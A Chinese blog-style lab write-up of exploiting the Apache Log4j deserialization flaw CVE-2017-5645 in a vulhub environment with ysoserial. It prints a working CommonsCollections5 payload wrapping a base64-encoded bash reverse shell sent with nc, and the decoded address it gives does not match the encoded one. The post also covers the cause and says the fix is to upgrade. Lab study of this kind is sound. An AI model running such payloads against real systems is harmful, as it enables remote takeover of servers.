Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

vuluhub搭建靶场

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程"小工具链",在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

Release v0.0.6 · frohoff/ysoserial · GitHub

下载后打包成jar文件进行使用。

通过jar文件执行系统命令

创建一个文件看看

然后执行docker compose exec log4j bash进入容器,可见 /tmp/success 已成功创建:

试试反弹shell,这个要对被反弹语句进行给base64加密

如何构造pyload

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.201.128 4712

bash -c:这个选项告诉 Bash 执行后面的一系列命令。

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。

{base64,-d}:这个命令使用 base64 工具进行 Base64 解码。

{bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

成功拿到shell

涉及一下原理

主要是因为log4j的序列号机制,处理外来序列化数据时候。如果数据是恶意pyload,就会触发不安全的反序列化操作,导致名命令执行漏洞,通过java的流泪有关

CVE-2017-5645漏洞的产生源于Log4j的序列化机制。当Log4j处理来自外部的序列化数据时,如果数据经过恶意修改,可能会触发不安全的反序列化操作,进而导致攻击者执行任意代码。这种漏洞的产生通常与Java的ObjectInputStream类有关,该类在处理序列化数据时存在安全风险。

修复方法,升级版本

jian

kang

相关推荐
yuluo_YX5 小时前
Reactive 编程 - Java Reactor
java·python·apache
人良爱编程20 小时前
Hugo的Stack主题配置记录03-背景虚化-导航栏-Apache ECharts创建地图
前端·javascript·apache·echarts·css3·html5
JoySSLLian1 天前
手把手教你安装免费SSL证书(附宝塔/Nginx/Apache配置教程)
网络·人工智能·网络协议·tcp/ip·nginx·apache·ssl
Apache Flink1 天前
Apache Flink Agents 0.2.0 发布公告
大数据·flink·apache
软件派2 天前
Apache SeaTunnel从入门到精通:企业级数据集成全流程解析
apache·seatunnel
倔强的石头1063 天前
边缘侧时序数据的选型指南:网络不稳定、数据不丢、回传可控——用 Apache IoTDB 设计可靠链路
网络·apache·iotdb
A-刘晨阳3 天前
2026年时序数据库选型指南:从大数据视角深度解析Apache IoTDB的技术优势与实践路径
大数据·apache·时序数据库
todoitbo3 天前
时序数据库选型指南:面向工业物联网的工程视角,以 Apache IoTDB 为例
物联网·apache·时序数据库·iotdb
枫叶丹43 天前
时序数据库选型指南:在大数据浪潮中把握未来,为何Apache IoTDB值得关注?
大数据·数据库·apache·时序数据库·iotdb
wei_shuo4 天前
国产时序数据库的云原生实践:Apache IoTDB 与 TimechoDB 在物联网场景的深度应用
云原生·apache·时序数据库